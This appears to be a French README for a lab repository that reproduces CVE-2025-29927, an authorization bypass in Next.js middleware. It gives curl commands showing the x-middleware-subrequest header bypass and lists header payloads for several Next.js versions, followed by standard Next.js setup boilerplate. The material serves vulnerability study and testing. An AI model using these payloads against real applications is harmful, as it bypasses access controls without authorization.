
Environnement de reproduction pour CVE-2025-29927, démontrant le contournement de l'autorisation du middleware Next.js via l'en-tête x-middleware-subrequest. Inclut des étapes d'exploitation basées sur curl pour plusieurs versions de Next.js.
Ce dépôt est une reproduction de la vulnérabilité CVE-2025-29927 dans le paquet next
/api/hello$ curl http://localhost:3000/api/hello
{"error":"Unauthorized"}%
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello
{"message":"Hello World"}%
middleware 5 fois dans l'en-tête spécial x-middleware-subrequest :curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello
{"message":"Hello, World"}
Les versions Next.js 12 et 13 avaient une convention de dénomination différente pour le fichier middleware (_middleware.js), qui a été changé en middleware.js dans Next.js 14. Cette vulnérabilité peut être exploitée dans les versions antérieures en utilisant le fichier _middleware.js.
Par exemple, les charges utiles suivantes s'appliqueraient, selon la version de Next.js et votre convention de routage :
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (pour les versions Next.js 12.2 avec le fichier middleware.js à la racine de l'application, pas dans le répertoire pages)curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (pour les versions Next.js 11 et jusqu'à 12.2)curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hellocurl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/helloTout d'abord, lancez le serveur de développement :
npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev
Ouvrez http://localhost:3000 avec votre navigateur pour voir le résultat.
Vous pouvez commencer à modifier la page en modifiant app/page.js. La page se met à jour automatiquement lorsque vous modifiez le fichier.
Ce projet utilise next/font pour optimiser et charger automatiquement Geist, une nouvelle famille de polices pour Vercel.
Pour en savoir plus sur Next.js, consultez les ressources suivantes :
Vous pouvez consulter le dépôt GitHub Next.js - vos retours et contributions sont les bienvenus !
Le moyen le plus simple de déployer votre application Next.js est d'utiliser la Plateforme Vercel des créateurs de Next.js.
Consultez notre documentation de déploiement Next.js pour plus de détails.
Veuillez consulter CONTRIBUTING pour les directives de contribution à ce projet.